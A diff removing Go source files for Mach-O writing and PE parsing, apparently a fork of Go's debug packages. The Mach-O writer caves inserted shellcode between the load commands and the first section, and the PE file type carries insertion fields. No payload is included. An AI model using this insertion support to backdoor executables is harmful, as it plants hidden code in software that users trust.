||||
const _RelocTypeX86_64_name = "X86_64_RELOC_UNSIGNEDX86_64_RELOC_SIGNEDX86_64_RELOC_BRANCHX86_64_RELOC_GOT_LOADX86_64_RELOC_GOTX86_64_RELOC_SUBTRACTORX86_64_RELOC_SIGNED_1X86_64_RELOC_SIGNED_2X86_64_RELOC_SIGNED_4X86_64_RELOC_TLV"
|
||||
|
||||
var _RelocTypeX86_64_index = [...]uint8{0, 21, 40, 59, 80, 96, 119, 140, 161, 182, 198}
|
||||
|
||||
func (i RelocTypeX86_64) String() string {
|
||||
if i < 0 || i >= RelocTypeX86_64(len(_RelocTypeX86_64_index)-1) {
|
||||
return "RelocTypeX86_64(" + strconv.FormatInt(int64(i), 10) + ")"
|
||||
}
|
||||
return _RelocTypeX86_64_name[_RelocTypeX86_64_index[i]:_RelocTypeX86_64_index[i+1]]
|
||||
}
|
||||
|
||||
const _RelocTypeARM_name = "ARM_RELOC_VANILLAARM_RELOC_PAIRARM_RELOC_SECTDIFFARM_RELOC_LOCAL_SECTDIFFARM_RELOC_PB_LA_PTRARM_RELOC_BR24ARM_THUMB_RELOC_BR22ARM_THUMB_32BIT_BRANCHARM_RELOC_HALFARM_RELOC_HALF_SECTDIFF"
|
||||
|
||||
var _RelocTypeARM_index = [...]uint8{0, 17, 31, 49, 73, 92, 106, 126, 148, 162, 185}
|
||||
|
||||
func (i RelocTypeARM) String() string {
|
||||
if i < 0 || i >= RelocTypeARM(len(_RelocTypeARM_index)-1) {
|
||||
return "RelocTypeARM(" + strconv.FormatInt(int64(i), 10) + ")"
|
||||
}
|
||||
return _RelocTypeARM_name[_RelocTypeARM_index[i]:_RelocTypeARM_index[i+1]]
|
||||
}
|
||||
|
||||
const _RelocTypeARM64_name = "ARM64_RELOC_UNSIGNEDARM64_RELOC_SUBTRACTORARM64_RELOC_BRANCH26ARM64_RELOC_PAGE21ARM64_RELOC_PAGEOFF12ARM64_RELOC_GOT_LOAD_PAGE21ARM64_RELOC_GOT_LOAD_PAGEOFF12ARM64_RELOC_POINTER_TO_GOTARM64_RELOC_TLVP_LOAD_PAGE21ARM64_RELOC_TLVP_LOAD_PAGEOFF12ARM64_RELOC_ADDEND"
|
||||
|
||||
var _RelocTypeARM64_index = [...]uint16{0, 20, 42, 62, 80, 101, 128, 158, 184, 212, 243, 261}
|
||||
|
||||
func (i RelocTypeARM64) String() string {
|
||||
if i < 0 || i >= RelocTypeARM64(len(_RelocTypeARM64_index)-1) {
|
||||
return "RelocTypeARM64(" + strconv.FormatInt(int64(i), 10) + ")"
|
||||
}
|
||||
return _RelocTypeARM64_name[_RelocTypeARM64_index[i]:_RelocTypeARM64_index[i+1]]
|
||||
}
|
||||
-343
@@ -1,343 +0,0 @@
|
||||
package macho
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"sort"
|
||||
)
|
||||
|
||||
// Bytes - Returns the bytes of an assembled *macho.File
|
||||
func (machoFile *File) Bytes() ([]byte, error) {
|
||||
var bytesWritten uint64
|
||||
w := bytes.NewBuffer(nil)
|
||||
|
||||
// Write entire file header.
|
||||
buf := &bytes.Buffer{}
|
||||
err := binary.Write(buf, machoFile.ByteOrder, machoFile.FileHeader)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
headerLength := len(buf.Bytes())
|
||||
binary.Write(w, machoFile.ByteOrder, machoFile.FileHeader)
|
||||
bytesWritten += uint64(headerLength)
|
||||
//log.Printf("%x: Wrote file header of size: %v", bytesWritten, bytesWritten)
|
||||
|
||||
// Reserved 4 bytes at end of header
|
||||
w.Write([]byte{0, 0, 0, 0})
|
||||
bytesWritten += 4
|
||||
|
||||
// Write Load Commands Loop
|
||||
for _, singleLoad := range machoFile.Loads {
|
||||
buf2 := &bytes.Buffer{}
|
||||
err = binary.Write(buf2, machoFile.ByteOrder, singleLoad.Raw())
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
LoadCmdLen := len(buf2.Bytes())
|
||||
binary.Write(w, machoFile.ByteOrder, singleLoad.Raw())
|
||||
bytesWritten += uint64(LoadCmdLen)
|
||||
//log.Printf("%x: Wrote Load Command, total size of: %v", bytesWritten, LoadCmdLen)
|
||||
}
|
||||
|
||||
// Shellcode gets caved in between the final load command and the first section
|
||||
if len(machoFile.Insertion) > 0 {
|
||||
binary.Write(w, machoFile.ByteOrder, machoFile.Insertion)
|
||||
bytesWritten += uint64(len(machoFile.Insertion))
|
||||
}
|
||||
|
||||
// Sort Sections
|
||||
sortedSections := machoFile.Sections[:]
|
||||
sort.Slice(sortedSections, func(a, b int) bool { return machoFile.Sections[a].Offset < machoFile.Sections[b].Offset })
|
||||
|
||||
/*
|
||||
var caveOffset, caveSize uint64
|
||||
for _, s := range sortedSections {
|
||||
if s.SectionHeader.Seg == "__TEXT" && s.Name == "__text" {
|
||||
caveOffset = bytesWritten
|
||||
caveSize = uint64(s.Offset) - caveOffset
|
||||
log.Printf("Code Cave Size: %d - %d = %d\n", s.Offset, caveOffset, caveSize)
|
||||
log.Println("Shellcode Size: ", len(machoFile.Insertion))
|
||||
break
|
||||
}
|
||||
}
|
||||
*/
|
||||
|
||||
// Write Sections
|
||||
for _, s := range sortedSections {
|
||||
|
||||
if bytesWritten > uint64(s.Offset) {
|
||||
log.Printf("Overlapping Sections in Generated macho: %+v\n", s.Name)
|
||||
continue
|
||||
}
|
||||
if bytesWritten < uint64(s.Offset) {
|
||||
pad := make([]byte, uint64(s.Offset)-bytesWritten)
|
||||
w.Write(pad)
|
||||
bytesWritten += uint64(len(pad))
|
||||
//log.Printf("%x: wrote %d padding bytes\n", bytesWritten, len(pad))
|
||||
}
|
||||
section, err := ioutil.ReadAll(s.Open())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
binary.Write(w, machoFile.ByteOrder, section)
|
||||
bytesWritten += uint64(len(section))
|
||||
//log.Printf("%x: wrote %d bytes section/segment named: %s %s\n", bytesWritten, uint64(len(section)), s.Name, s.Seg)
|
||||
}
|
||||
// Write Dynamic Loader Info if it exists
|
||||
if machoFile.DylinkInfo != nil {
|
||||
// Write Rebase if it exists
|
||||
if len(machoFile.DylinkInfo.RebaseDat) > 0 {
|
||||
//log.Printf("Rebase Offset: %d", machoFile.DylinkInfo.RebaseOffset)
|
||||
if int64(machoFile.DylinkInfo.RebaseOffset)-int64(bytesWritten) > 0 {
|
||||
padA := make([]byte, machoFile.DylinkInfo.RebaseOffset-bytesWritten)
|
||||
w.Write(padA)
|
||||
bytesWritten += uint64(len(padA))
|
||||
//log.Printf("%x: wrote pad of: %d", bytesWritten, len(padA))
|
||||
}
|
||||
//log.Printf("Rebase: %+v \n", machoFile.DylinkInfo.RebaseDat)
|
||||
w.Write(machoFile.DylinkInfo.RebaseDat)
|
||||
bytesWritten += uint64(machoFile.DylinkInfo.RebaseLen)
|
||||
//log.Printf("%x: Wrote raw Rebase, length of: %d", bytesWritten, machoFile.DylinkInfo.RebaseLen)
|
||||
}
|
||||
//Binding
|
||||
if len(machoFile.DylinkInfo.BindingInfoDat) > 0 {
|
||||
//log.Printf("Binding Offset: %d", machoFile.DylinkInfo.BindingInfoOffset)
|
||||
if int64(machoFile.DylinkInfo.BindingInfoOffset)-int64(bytesWritten) > 0 {
|
||||
padB := make([]byte, machoFile.DylinkInfo.BindingInfoOffset-bytesWritten)
|
||||
w.Write(padB)
|
||||
bytesWritten += uint64(len(padB))
|
||||
//log.Printf("%x: wrote pad of: %d", bytesWritten, len(padB))
|
||||
}
|
||||
//log.Printf("Binding Info: %+v \n", machoFile.DylinkInfo.BindingInfoDat)
|
||||
w.Write(machoFile.DylinkInfo.BindingInfoDat)
|
||||
bytesWritten += uint64(machoFile.DylinkInfo.BindingInfoLen)
|
||||
//log.Printf("%x: Wrote raw Binding Info, length of: %d", bytesWritten, machoFile.DylinkInfo.BindingInfoLen)
|
||||
}
|
||||
//Lazy
|
||||
if len(machoFile.DylinkInfo.LazyBindingDat) > 0 {
|
||||
//log.Printf("Lazy Offset: %d", machoFile.DylinkInfo.LazyBindingOffset)
|
||||
if int64(machoFile.DylinkInfo.LazyBindingOffset)-int64(bytesWritten) > 0 {
|
||||
padD := make([]byte, machoFile.DylinkInfo.LazyBindingOffset-bytesWritten)
|
||||
w.Write(padD)
|
||||
bytesWritten += uint64(len(padD))
|
||||
//log.Printf("%x: wrote pad of: %d", bytesWritten, len(padD))
|
||||
}
|
||||
//log.Printf("Lazy Binding Data: %+v \n", machoFile.DylinkInfo.LazyBindingDat)
|
||||
w.Write(machoFile.DylinkInfo.LazyBindingDat)
|
||||
bytesWritten += uint64(machoFile.DylinkInfo.LazyBindingLen)
|
||||
//log.Printf("%x: Wrote raw lazybinding, length of: %d", bytesWritten, machoFile.DylinkInfo.LazyBindingLen)
|
||||
}
|
||||
//Export
|
||||
if len(machoFile.DylinkInfo.ExportInfoDat) > 0 {
|
||||
//log.Printf("Export Offset: %d", machoFile.DylinkInfo.ExportInfoOffset)
|
||||
if int64(machoFile.DylinkInfo.ExportInfoOffset)-int64(bytesWritten) > 0 {
|
||||
padE := make([]byte, machoFile.DylinkInfo.ExportInfoOffset-bytesWritten)
|
||||
w.Write(padE)
|
||||
bytesWritten += uint64(len(padE))
|
||||
//log.Printf("%x: wrote pad of: %d", bytesWritten, len(padE))
|
||||
}
|
||||
//log.Printf("Export Info: %+v \n", machoFile.DylinkInfo.ExportInfoDat)
|
||||
w.Write(machoFile.DylinkInfo.ExportInfoDat)
|
||||
bytesWritten += uint64(machoFile.DylinkInfo.ExportInfoLen)
|
||||
//log.Printf("%x: Wrote raw Export Info, length of: %d", bytesWritten, machoFile.DylinkInfo.ExportInfoLen)
|
||||
}
|
||||
//Weak
|
||||
if len(machoFile.DylinkInfo.WeakBindingDat) > 0 {
|
||||
//log.Printf("Weak Offset: %d", machoFile.DylinkInfo.WeakBindingOffset)
|
||||
if int64(machoFile.DylinkInfo.WeakBindingOffset)-int64(bytesWritten) > 0 {
|
||||
padC := make([]byte, machoFile.DylinkInfo.WeakBindingOffset-bytesWritten)
|
||||
w.Write(padC)
|
||||
bytesWritten += uint64(len(padC))
|
||||
//log.Printf("%x: wrote pad of: %d", bytesWritten, len(padC))
|
||||
}
|
||||
//log.Printf("Weak Binding: %+v \n", machoFile.DylinkInfo.WeakBindingDat)
|
||||
w.Write(machoFile.DylinkInfo.WeakBindingDat)
|
||||
bytesWritten += uint64(machoFile.DylinkInfo.WeakBindingLen)
|
||||
//log.Printf("%x: Wrote raw Weak Binding, length of: %d", bytesWritten, machoFile.DylinkInfo.WeakBindingLen)
|
||||
}
|
||||
}
|
||||
|
||||
// Write the Func Starts if they exist
|
||||
if machoFile.FuncStarts != nil {
|
||||
//log.Printf("new pad: %d", machoFile.FuncStarts.Offset-bytesWritten)
|
||||
if int64(machoFile.FuncStarts.Offset)-int64(bytesWritten) > 0 {
|
||||
padY := make([]byte, machoFile.FuncStarts.Offset-bytesWritten)
|
||||
w.Write(padY)
|
||||
bytesWritten += uint64(len(padY))
|
||||
//log.Printf("%x: wrote pad of: %d", bytesWritten, len(padY))
|
||||
}
|
||||
//log.Printf("FuncStarts: %+v \n", machoFile.FuncStarts)
|
||||
w.Write(machoFile.FuncStarts.RawDat)
|
||||
bytesWritten += uint64(machoFile.FuncStarts.Len)
|
||||
//log.Printf("%x: Wrote raw funcstarts, length of: %d", bytesWritten, machoFile.FuncStarts.Len)
|
||||
}
|
||||
|
||||
// Write the Data in Code Entries if they exist
|
||||
if machoFile.DataInCode != nil {
|
||||
if int64(machoFile.DataInCode.Offset)-int64(bytesWritten) > 0 {
|
||||
padZ := make([]byte, machoFile.DataInCode.Offset-bytesWritten)
|
||||
w.Write(padZ)
|
||||
bytesWritten += uint64(len(padZ))
|
||||
//log.Printf("%x: wrote pad of: %d", bytesWritten, len(padZ))
|
||||
}
|
||||
//log.Printf("DataInCode: %+v \n", machoFile.DataInCode)
|
||||
w.Write(machoFile.DataInCode.RawDat)
|
||||
bytesWritten += uint64(machoFile.DataInCode.Len)
|
||||
//log.Printf("%x: Wrote raw dataincode, length of: %d", bytesWritten, machoFile.DataInCode.Len)
|
||||
}
|
||||
|
||||
// Write Symbols is next I think
|
||||
symtab := machoFile.Symtab
|
||||
//log.Printf("Bytes written: %d", bytesWritten)
|
||||
//log.Printf("Indirect symbol offset: %d", machoFile.Dysymtab.DysymtabCmd.Indirectsymoff)
|
||||
//log.Printf("Locrel offset: %d", machoFile.Dysymtab.Locreloff)
|
||||
//log.Printf("Symtab offset: %d", symtab.Symoff)
|
||||
//log.Printf("String table offset: %d", symtab.Stroff)
|
||||
if int64(symtab.Symoff)-int64(bytesWritten) > 0 {
|
||||
pad := make([]byte, uint64(symtab.Symoff)-bytesWritten)
|
||||
w.Write(pad)
|
||||
bytesWritten += (uint64(symtab.Symoff) - bytesWritten)
|
||||
//log.Printf("%x: wrote pad of: %d", bytesWritten, uint64(symtab.Symoff)-bytesWritten)
|
||||
}
|
||||
w.Write(symtab.RawSymtab)
|
||||
bytesWritten += uint64(len(symtab.RawSymtab))
|
||||
//log.Printf("%x: Wrote raw symtab, length of: %d", bytesWritten, len(symtab.RawSymtab))
|
||||
|
||||
// Write DySymTab next!
|
||||
dysymtab := machoFile.Dysymtab
|
||||
if int64(dysymtab.Indirectsymoff)-int64(bytesWritten) > 0 {
|
||||
pad2 := make([]byte, uint64(dysymtab.Indirectsymoff)-bytesWritten)
|
||||
w.Write(pad2)
|
||||
bytesWritten += uint64(len(pad2))
|
||||
//log.Printf("%x: wrote pad of: %d", bytesWritten, len(pad2))
|
||||
}
|
||||
w.Write(dysymtab.RawDysymtab)
|
||||
bytesWritten += uint64(len(dysymtab.RawDysymtab))
|
||||
//log.Printf("%x: Wrote raw indirect symbols, length of: %d", bytesWritten, len(dysymtab.RawDysymtab))
|
||||
|
||||
// Write StringTab!
|
||||
if int64(symtab.Stroff)-int64(bytesWritten) > 0 {
|
||||
pad3 := make([]byte, uint64(symtab.Stroff)-bytesWritten)
|
||||
w.Write(pad3)
|
||||
bytesWritten += uint64(len(pad3))
|
||||
//log.Printf("%x: wrote pad of: %d", bytesWritten, len(pad3))
|
||||
}
|
||||
w.Write(symtab.RawStringtab)
|
||||
bytesWritten += uint64(len(symtab.RawStringtab))
|
||||
//log.Printf("%x: Wrote raw stringtab, length of: %d", bytesWritten, len(symtab.RawStringtab))
|
||||
|
||||
// Write The Signature Block, if it exists
|
||||
//log.Printf("SigBlock Dat: %v", machoFile.SigBlock)
|
||||
if machoFile.SigBlock != nil {
|
||||
if int64(machoFile.SigBlock.Offset)-int64(bytesWritten) > 0 {
|
||||
padX := make([]byte, int64(machoFile.SigBlock.Offset)-int64(bytesWritten))
|
||||
w.Write(padX)
|
||||
bytesWritten += uint64(len(padX))
|
||||
//log.Printf("%x: wrote pad of: %d", bytesWritten, len(padX))
|
||||
}
|
||||
w.Write(machoFile.SigBlock.RawDat)
|
||||
bytesWritten += uint64(machoFile.SigBlock.Len)
|
||||
//log.Printf("%x: Wrote raw sigblock, length of: %d", bytesWritten, machoFile.SigBlock.Len)
|
||||
}
|
||||
|
||||
// Write 0s to the end of the final segment
|
||||
if int64(FinalSegEnd)-int64(bytesWritten) > 0 {
|
||||
pad4 := make([]byte, uint64(FinalSegEnd)-bytesWritten)
|
||||
w.Write(pad4)
|
||||
bytesWritten += uint64(len(pad4))
|
||||
//log.Printf("%x: wrote pad of: %d", bytesWritten, len(pad4))
|
||||
}
|
||||
|
||||
//log.Println("All done!")
|
||||
machoBytes := w.Bytes()
|
||||
return machoBytes, nil
|
||||
}
|
||||
|
||||
// WriteFile - Creates a new file and writes it using the Bytes func above
|
||||
func (machoFile *File) WriteFile(destFile string) error {
|
||||
f, err := os.Create(destFile)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer f.Close()
|
||||
machoData, err := machoFile.Bytes()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = f.Write(machoData)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// WriteFatFile - Creates a new Fat file and multiple machos into it
|
||||
func (FatyFile *FatFile) WriteFatFile(destFile string) error {
|
||||
f, err := os.Create(destFile)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer f.Close()
|
||||
w := bufio.NewWriter(f)
|
||||
bytesWritten := uint64(0)
|
||||
var FatyMachos []File
|
||||
var FatyMachosOffsets []uint32
|
||||
|
||||
// Fat Header First
|
||||
// Magic Bytes
|
||||
binary.Write(w, binary.BigEndian, FatyFile.Magic)
|
||||
bytesWritten += 4
|
||||
// Number of Fat Arches [4 bytes]
|
||||
FatArches := uint32(len(FatyFile.Arches))
|
||||
binary.Write(w, binary.BigEndian, FatArches)
|
||||
bytesWritten += 4
|
||||
w.Flush()
|
||||
// Arch Size
|
||||
for _, arch := range FatyFile.Arches {
|
||||
log.Printf("Arch details: %v\n", arch)
|
||||
FatyMachos = append(FatyMachos, *(arch.File))
|
||||
//Cpu Type
|
||||
binary.Write(w, binary.BigEndian, uint32(arch.Cpu))
|
||||
bytesWritten += 4
|
||||
//Sub CPU type
|
||||
binary.Write(w, binary.BigEndian, uint32(arch.SubCpu))
|
||||
bytesWritten += 4
|
||||
//FileOffset
|
||||
FatyMachosOffsets = append(FatyMachosOffsets, arch.Offset)
|
||||
binary.Write(w, binary.BigEndian, uint32(arch.Offset))
|
||||
bytesWritten += 4
|
||||
//Size
|
||||
binary.Write(w, binary.BigEndian, uint32(arch.Size))
|
||||
bytesWritten += 4
|
||||
//Align
|
||||
binary.Write(w, binary.BigEndian, uint32(arch.Align))
|
||||
bytesWritten += 4
|
||||
w.Flush()
|
||||
}
|
||||
// End of Fat Headers
|
||||
|
||||
// Write each Macho File at its Offset
|
||||
for index, mach := range FatyMachos {
|
||||
// Pad to the offset
|
||||
if bytesWritten < uint64(FatyMachosOffsets[index]) {
|
||||
pad := make([]byte, uint64(FatyMachosOffsets[index])-bytesWritten)
|
||||
w.Write(pad)
|
||||
bytesWritten += uint64(len(pad))
|
||||
}
|
||||
// Write the Mach-o file
|
||||
machOut, err := mach.Bytes()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
binary.Write(w, binary.BigEndian, machOut)
|
||||
bytesWritten += uint64(len(machOut))
|
||||
w.Flush()
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
-50
@@ -1,50 +0,0 @@
|
||||
package pe
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
)
|
||||
|
||||
// CERTIFICATE_TABLE is the index of the Certificate Table info in the Data Directory structure
|
||||
// in the PE header
|
||||
const CERTIFICATE_TABLE = 4
|
||||
|
||||
func readCertTable(f *File, r io.ReadSeeker) ([]byte, error) {
|
||||
if f.OptionalHeader == nil { // Optional header is optional, might not exist
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
var certTableOffset, certTableSize uint32
|
||||
|
||||
switch f.FileHeader.Machine {
|
||||
case IMAGE_FILE_MACHINE_I386:
|
||||
certTableOffset = f.OptionalHeader.(*OptionalHeader32).DataDirectory[CERTIFICATE_TABLE].VirtualAddress
|
||||
certTableSize = f.OptionalHeader.(*OptionalHeader32).DataDirectory[CERTIFICATE_TABLE].Size
|
||||
case IMAGE_FILE_MACHINE_AMD64:
|
||||
certTableOffset = f.OptionalHeader.(*OptionalHeader64).DataDirectory[CERTIFICATE_TABLE].VirtualAddress
|
||||
certTableSize = f.OptionalHeader.(*OptionalHeader64).DataDirectory[CERTIFICATE_TABLE].Size
|
||||
default:
|
||||
return nil, errors.New("architecture not supported")
|
||||
}
|
||||
|
||||
// check if certificate table exists
|
||||
if certTableOffset == 0 || certTableSize == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
var err error
|
||||
_, err = r.Seek(int64(certTableOffset), seekStart)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("fail to seek to certificate table: %v", err)
|
||||
}
|
||||
|
||||
// grab the cert
|
||||
cert := make([]byte, certTableSize)
|
||||
_, err = io.ReadFull(r, cert)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("fail to read certificate table: %v", err)
|
||||
}
|
||||
|
||||
return cert, nil
|
||||
}
|
||||
-132
@@ -1,132 +0,0 @@
|
||||
package pe
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
)
|
||||
|
||||
// ExportDirectory - data directory definition for exported functions
|
||||
type ExportDirectory struct {
|
||||
ExportFlags uint32 // reserved, must be zero
|
||||
TimeDateStamp uint32
|
||||
MajorVersion uint16
|
||||
MinorVersion uint16
|
||||
NameRVA uint32 // pointer to the name of the DLL
|
||||
OrdinalBase uint32
|
||||
NumberOfFunctions uint32
|
||||
NumberOfNames uint32 // also Ordinal Table Len
|
||||
AddressTableAddr uint32 // RVA of EAT, relative to image base
|
||||
NameTableAddr uint32 // RVA of export name pointer table, relative to image base
|
||||
OrdinalTableAddr uint32 // address of the ordinal table, relative to iamge base
|
||||
|
||||
DllName string
|
||||
}
|
||||
|
||||
// Export - describes a single export entry
|
||||
type Export struct {
|
||||
Ordinal uint32
|
||||
Name string
|
||||
VirtualAddress uint32
|
||||
}
|
||||
|
||||
// Exports - gets exports
|
||||
func (f *File) Exports() ([]Export, error) {
|
||||
pe64 := f.Machine == IMAGE_FILE_MACHINE_AMD64
|
||||
|
||||
// grab the number of data directory entries
|
||||
var ddLength uint32
|
||||
if pe64 {
|
||||
ddLength = f.OptionalHeader.(*OptionalHeader64).NumberOfRvaAndSizes
|
||||
} else {
|
||||
ddLength = f.OptionalHeader.(*OptionalHeader32).NumberOfRvaAndSizes
|
||||
}
|
||||
|
||||
// check that the length of data directory entries is large
|
||||
// enough to include the exports directory.
|
||||
if ddLength < IMAGE_DIRECTORY_ENTRY_EXPORT+1 {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
// grab the export data directory entry
|
||||
var edd DataDirectory
|
||||
if pe64 {
|
||||
edd = f.OptionalHeader.(*OptionalHeader64).DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
|
||||
} else {
|
||||
edd = f.OptionalHeader.(*OptionalHeader32).DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
|
||||
}
|
||||
|
||||
// figure out which section contains the export directory table
|
||||
var ds *Section
|
||||
ds = nil
|
||||
for _, s := range f.Sections {
|
||||
if s.VirtualAddress <= edd.VirtualAddress && edd.VirtualAddress < s.VirtualAddress+s.VirtualSize {
|
||||
ds = s
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// didn't find a section, so no exports were found
|
||||
if ds == nil {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
d, err := ds.Data()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
exportDirOffset := edd.VirtualAddress - ds.VirtualAddress
|
||||
|
||||
// seek to the virtual address specified in the export data directory
|
||||
dxd := d[exportDirOffset:]
|
||||
|
||||
// deserialize export directory
|
||||
var dt ExportDirectory
|
||||
dt.ExportFlags = binary.LittleEndian.Uint32(dxd[0:4])
|
||||
dt.TimeDateStamp = binary.LittleEndian.Uint32(dxd[4:8])
|
||||
dt.MajorVersion = binary.LittleEndian.Uint16(dxd[8:10])
|
||||
dt.MinorVersion = binary.LittleEndian.Uint16(dxd[10:12])
|
||||
dt.NameRVA = binary.LittleEndian.Uint32(dxd[12:16])
|
||||
dt.OrdinalBase = binary.LittleEndian.Uint32(dxd[16:20])
|
||||
dt.NumberOfFunctions = binary.LittleEndian.Uint32(dxd[20:24])
|
||||
dt.NumberOfNames = binary.LittleEndian.Uint32(dxd[24:28])
|
||||
dt.AddressTableAddr = binary.LittleEndian.Uint32(dxd[28:32])
|
||||
dt.NameTableAddr = binary.LittleEndian.Uint32(dxd[32:36])
|
||||
dt.OrdinalTableAddr = binary.LittleEndian.Uint32(dxd[36:40])
|
||||
|
||||
dt.DllName, _ = getString(d, int(dt.NameRVA-ds.VirtualAddress))
|
||||
|
||||
// seek to ordinal table
|
||||
dno := d[dt.OrdinalTableAddr-ds.VirtualAddress:]
|
||||
// seek to names table
|
||||
dnn := d[dt.NameTableAddr-ds.VirtualAddress:]
|
||||
|
||||
// build whole ordinal->name table
|
||||
ordinalTable := make(map[uint16]uint32)
|
||||
for n := uint32(0); n < dt.NumberOfNames; n++ {
|
||||
ord := binary.LittleEndian.Uint16(dno[n*2 : (n*2)+2])
|
||||
nameRVA := binary.LittleEndian.Uint32(dnn[n*4 : (n*4)+4])
|
||||
ordinalTable[ord] = nameRVA
|
||||
}
|
||||
dno = nil
|
||||
dnn = nil
|
||||
|
||||
// seek to ordinal table
|
||||
dna := d[dt.AddressTableAddr-ds.VirtualAddress:]
|
||||
|
||||
var exports []Export
|
||||
for i := uint32(0); i < dt.NumberOfFunctions; i++ {
|
||||
var export Export
|
||||
export.VirtualAddress =
|
||||
binary.LittleEndian.Uint32(dna[i*4 : (i*4)+4])
|
||||
export.Ordinal = dt.OrdinalBase + i
|
||||
|
||||
// check the entire ordinal table looking for this index to see if we have a name
|
||||
_, ok := ordinalTable[uint16(i)]
|
||||
if ok { // a name exists for this exported function
|
||||
nameRVA, _ := ordinalTable[uint16(i)]
|
||||
export.Name, _ = getString(d, int(nameRVA-ds.VirtualAddress))
|
||||
}
|
||||
exports = append(exports, export)
|
||||
}
|
||||
return exports, nil
|
||||
}
|
||||
-467
@@ -1,467 +0,0 @@
|
||||
// Copyright 2009 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Package pe implements access to PE (Microsoft Windows Portable Executable) files.
|
||||
package pe
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"compress/zlib"
|
||||
"debug/dwarf"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Avoid use of post-Go 1.4 io features, to make safe for toolchain bootstrap.
|
||||
const (
|
||||
seekStart = 0
|
||||
seekCurrent = 1
|
||||
)
|
||||
|
||||
// A File represents an open PE file.
|
||||
type File struct {
|
||||
DosHeader
|
||||
DosExists bool
|
||||
DosStub [64]byte // TODO(capnspacehook) make slice and correctly parse any DOS stub
|
||||
RichHeader []byte
|
||||
FileHeader
|
||||
OptionalHeader interface{} // of type *OptionalHeader32 or *OptionalHeader64
|
||||
Sections []*Section
|
||||
BaseRelocationTable *[]RelocationTableEntry
|
||||
Symbols []*Symbol // COFF symbols with auxiliary symbol records removed
|
||||
COFFSymbols []COFFSymbol // all COFF symbols (including auxiliary symbol records)
|
||||
StringTable StringTable
|
||||
CertificateTable []byte
|
||||
|
||||
OptionalHeaderOffset int64 // offset of the start of the Optional Header
|
||||
InsertionAddr uint32
|
||||
InsertionBytes []byte
|
||||
|
||||
Net Net //If a managed executable, Net provides an interface to some of the metadata
|
||||
|
||||
closer io.Closer
|
||||
}
|
||||
|
||||
// Open opens the named file using os.Open and prepares it for use as a PE binary.
|
||||
func Open(name string) (*File, error) {
|
||||
f, err := os.Open(name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ff, err := NewFile(f)
|
||||
if err != nil {
|
||||
f.Close()
|
||||
return nil, err
|
||||
}
|
||||
ff.closer = f
|
||||
return ff, nil
|
||||
}
|
||||
|
||||
// Close closes the File.
|
||||
// If the File was created using NewFile directly instead of Open,
|
||||
// Close has no effect.
|
||||
func (f *File) Close() error {
|
||||
var err error
|
||||
if f.closer != nil {
|
||||
err = f.closer.Close()
|
||||
f.closer = nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
var (
|
||||
sizeofOptionalHeader32 = uint16(binary.Size(OptionalHeader32{}))
|
||||
sizeofOptionalHeader64 = uint16(binary.Size(OptionalHeader64{}))
|
||||
)
|
||||
|
||||
// TODO(brainman): add Load function, as a replacement for NewFile, that does not call removeAuxSymbols (for performance)
|
||||
|
||||
// NewFile creates a new pe.File for accessing a PE binary file in an underlying reader.
|
||||
func NewFile(r io.ReaderAt) (*File, error) {
|
||||
return newFileInternal(r, false)
|
||||
}
|
||||
|
||||
// NewFileFromMemory creates a new pe.File for accessing a PE binary in-memory image in an underlying reader.
|
||||
func NewFileFromMemory(r io.ReaderAt) (*File, error) {
|
||||
return newFileInternal(r, true)
|
||||
}
|
||||
|
||||
// NewFile creates a new File for accessing a PE binary in an underlying reader.
|
||||
func newFileInternal(r io.ReaderAt, memoryMode bool) (*File, error) {
|
||||
|
||||
f := new(File)
|
||||
sr := io.NewSectionReader(r, 0, 1<<63-1)
|
||||
|
||||
binary.Read(sr, binary.LittleEndian, &f.DosHeader)
|
||||
dosHeaderSize := binary.Size(f.DosHeader)
|
||||
if dosHeaderSize > int(f.DosHeader.AddressOfNewExeHeader) {
|
||||
binary.Read(sr, binary.LittleEndian, &f.DosStub)
|
||||
f.DosExists = true
|
||||
} else {
|
||||
f.DosExists = false
|
||||
}
|
||||
|
||||
possibleRichHeaderStart := dosHeaderSize
|
||||
if f.DosExists {
|
||||
possibleRichHeaderStart += binary.Size(f.DosStub)
|
||||
}
|
||||
possibleRichHeaderEnd := int(f.DosHeader.AddressOfNewExeHeader)
|
||||
if possibleRichHeaderEnd > possibleRichHeaderStart {
|
||||
richHeader := make([]byte, possibleRichHeaderEnd-possibleRichHeaderStart)
|
||||
binary.Read(sr, binary.LittleEndian, richHeader)
|
||||
|
||||
if richIndex := bytes.Index(richHeader, []byte("Rich")); richIndex != -1 {
|
||||
f.RichHeader = richHeader[:richIndex+8]
|
||||
}
|
||||
}
|
||||
|
||||
